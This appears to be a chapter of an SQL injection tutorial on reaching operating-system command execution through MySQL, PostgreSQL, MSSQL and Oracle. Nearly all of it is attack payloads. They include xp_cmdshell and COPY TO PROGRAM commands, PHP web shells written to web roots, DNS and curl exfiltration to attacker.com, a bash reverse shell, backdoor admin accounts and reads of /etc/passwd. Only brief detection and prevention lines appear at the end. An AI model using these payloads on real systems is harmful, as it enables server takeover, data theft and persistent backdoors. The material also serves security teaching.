OS command execution = full server compromise.
SELECT @@plugin_dir
-- Result: /usr/lib/mysql/plugin/ or similar-- Create UDF library file (pre-compiled .so or .dll)
-- Write via INTO DUMPFILE (binary safe)
SELECT 0x7f454c4602010100... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'-- Create function
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so'
-- Execute command
SELECT sys_exec('id > /tmp/output.txt')
-- Read output
SELECT LOAD_FILE('/tmp/output.txt')-- Old MySQL versions only
SELECT `id` FROM users
-- If backticks misinterpreted as command substitution-- If application reads query result and passes to PHP eval
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/shell.php'-- Direct command execution (superuser required)
COPY (SELECT '') TO PROGRAM 'id'
-- With output redirection
COPY (SELECT '') TO PROGRAM 'cat /etc/passwd > /tmp/output.txt'
-- Complex commands
COPY (SELECT '') TO PROGRAM 'bash -c "id; whoami; hostname"'
-- Read output file via SQL
COPY (SELECT '') FROM '/tmp/output.txt'-- Create PL/pgSQL function
CREATE OR REPLACE FUNCTION exec(cmd TEXT) RETURNS TEXT AS $$
BEGIN
RETURN (SELECT * FROM pg_read_file(cmd));
END;
$$ LANGUAGE plpgsql;
-- Limited, better use COPY TO PROGRAM-- If plpythonu available
CREATE LANGUAGE plpythonu
CREATE FUNCTION pyshell(cmd text)
RETURNS text AS $$
import os
return os.popen(cmd).read()
$$ LANGUAGE plpythonu
-- Execute
SELECT pyshell('id')-- Check if enabled
EXEC sp_configure 'xp_cmdshell'
-- Enable (requires sysadmin)
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE
-- Execute
EXEC xp_cmdshell 'whoami'
EXEC xp_cmdshell 'dir C:\\'-- Stacked query for enable and execute
'; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;--
'; EXEC xp_cmdshell ''whoami'';--
-- Single request enable + execute
'; EXEC sp_configure ''show advanced options'', 1; RECONFIGURE;
EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;
EXEC xp_cmdshell ''net user'';---- Execute via OLE Automation (if enabled)
DECLARE @shell INT
EXEC sp_OACreate 'wscript.shell', @shell OUT
EXEC sp_OAMethod @shell, 'run', NULL, 'C:\\windows\\system32\\cmd.exe /c whoami > C:\\temp\\output.txt'
-- Read output via SQL
EXEC xp_cmdshell 'type C:\\temp\\output.txt'-- Create CLR stored procedure (requires assembly)
-- More complex but powerful-- Create Java stored procedure
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "OSExec" AS
import java.lang.*;
import java.io.*;
public class OSExec {
public static String exec(String cmd) throws Exception {
Runtime r = Runtime.getRuntime();
Process p = r.exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line, result = "";
while ((line = br.readLine()) != null) result += line + "\n";
return result;
}
}
/
-- Create PL/SQL wrapper
CREATE OR REPLACE FUNCTION execute_cmd(cmd IN VARCHAR2) RETURN VARCHAR2 AS
LANGUAGE JAVA NAME 'OSExec.exec(java.lang.String) return java.lang.String';
/
-- Execute
SELECT execute_cmd('id') FROM DUAL-- Create job to execute command
BEGIN
DBMS_SCHEDULER.create_job(
job_name => 'CMD',
job_type => 'EXECUTABLE',
job_action => '/bin/sh',
number_of_arguments => 2,
start_date => SYSTIMESTAMP,
enabled => FALSE
);
DBMS_SCHEDULER.set_job_argument_value('CMD', 1, '-c');
DBMS_SCHEDULER.set_job_argument_value('CMD', 2, 'id > /tmp/oracle_cmd.txt');
DBMS_SCHEDULER.enable('CMD');
END;
/-- Create external table with PREPROCESSOR
CREATE TABLE cmd_output (line VARCHAR2(4000))
ORGANIZATION EXTERNAL (
TYPE ORACLE_LOADER
DEFAULT DIRECTORY DATA_PUMP_DIR
ACCESS PARAMETERS (
RECORDS DELIMITED BY NEWLINE
PREPROCESSOR DATA_PUMP_DIR: '/bin/sh'
FIELDS TERMINATED BY ','
)
LOCATION ('dummy.txt')
);
-- Access triggers command
SELECT * FROM cmd_output-- Execute and write output
EXEC xp_cmdshell 'whoami > C:\\inetpub\\wwwroot\\output.txt'
-- Read via HTTP request
-- http://target.com/output.txt-- MySQL via UDF
SELECT sys_exec('nslookup $(whoami).attacker.com')
-- PostgreSQL
COPY (SELECT '') TO PROGRAM 'nslookup $(whoami).attacker.com'
-- MSSQL
EXEC xp_cmdshell 'nslookup %USERNAME%.attacker.com'-- Send output via curl/wget
COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/?data=$(whoami)'
-- MSSQL
EXEC xp_cmdshell 'powershell -c "(New-Object Net.WebClient).DownloadString(''http://attacker.com/?d='' + (whoami))"'-- True if command succeeds, false if fails
' AND IF((SELECT sys_exec('test -f /etc/passwd')), SLEEP(5), 0)---- Create admin user (MSSQL)
'; CREATE LOGIN backdoor WITH PASSWORD = ''P@ssw0rd123'';
EXEC sp_addsrvrolemember ''backdoor'', ''sysadmin'';--
-- Create backdoor job (PostgreSQL)
'; CREATE OR REPLACE FUNCTION backdoor() RETURNS void AS $$
BEGIN
EXECUTE 'CREATE USER attacker WITH SUPERUSER PASSWORD ''secret''';
END;
$$ LANGUAGE plpgsql;---- Dump database and send
'; EXEC xp_cmdshell 'bcp "SELECT * FROM users" queryout C:\\users.txt -c -S localhost -U sa -P password';--
'; EXEC xp_cmdshell 'curl -F "file=@C:\\users.txt" http://attacker.com/upload';---- MSSQL: List linked servers
SELECT srvname FROM sysservers
-- Execute on linked server
'; EXEC ('EXEC xp_cmdshell ''whoami''') AT [LINKED_SERVER];---- Re-enable via registry (MSSQL)
'; EXEC master..xp_regwrite
@rootkey=''HKEY_LOCAL_MACHINE'',
@key=''SOFTWARE\\Microsoft\\Microsoft SQL Server\\MSSQL15.MSSQLSERVER\\MSSQLServer'',
@value_name=''xp_cmdshell'',
@type=''REG_DWORD'',
@value=1;---- Check current privileges
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Escalation via SQL injection to application config
'; SELECT LOAD_FILE('/var/www/html/config.php')---- Step 1: Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE
-- Step 2: Execute reconnaissance
EXEC xp_cmdshell 'whoami'
EXEC xp_cmdshell 'net user'
EXEC xp_cmdshell 'ipconfig'
-- Step 3: Create admin account
EXEC xp_cmdshell 'net user /add attacker P@ssw0rd123'
EXEC xp_cmdshell 'net localgroup administrators attacker /add'
-- Step 4: Exfiltrate data
EXEC xp_cmdshell 'powershell -c "Get-Content C:\\data\\users.csv | curl -d @- http://attacker.com/data"'-- Check version (need 9.3+)
SELECT version()
-- Execute command
COPY (SELECT '') TO PROGRAM 'bash -c "id; whoami; uname -a" > /tmp/recon.txt'
-- Read recon output
COPY (SELECT '') FROM '/tmp/recon.txt'
-- Reverse shell (one-liner)
COPY (SELECT '') TO PROGRAM 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'-- Write PHP shell
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
-- Access via browser
-- http://target.com/shell.php?cmd=id
-- http://target.com/shell.php?cmd=cat%20/etc/passwd| Technique | Detection |
|---|---|
| xp_cmdshell | Monitor sp_configure changes, process creation |
| COPY TO PROGRAM | PostgreSQL logs, process monitoring |
| UDF loading | MySQL plugin_dir monitoring |
| Web shells | File integrity monitoring, WAF |
-- Always use prepared statements
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?')
$stmt->execute([$user_id])
-- Principle of least privilege
-- Application DB user: SELECT, INSERT, UPDATE only
-- No DROP, no FILE, no SUPER- MSSQL xp_cmdshell = easiest method if enabled
- PostgreSQL COPY TO PROGRAM = direct execution (superuser)
- MySQL UDF = requires file write and plugin loading
- Oracle = most complex, requires Java/plsql procedures
- Output retrieval = file, DNS, HTTP, or time-based
- Prevention = least privilege + prepared statements
Continue to 12 - Second-Order Injection for stored payload attacks.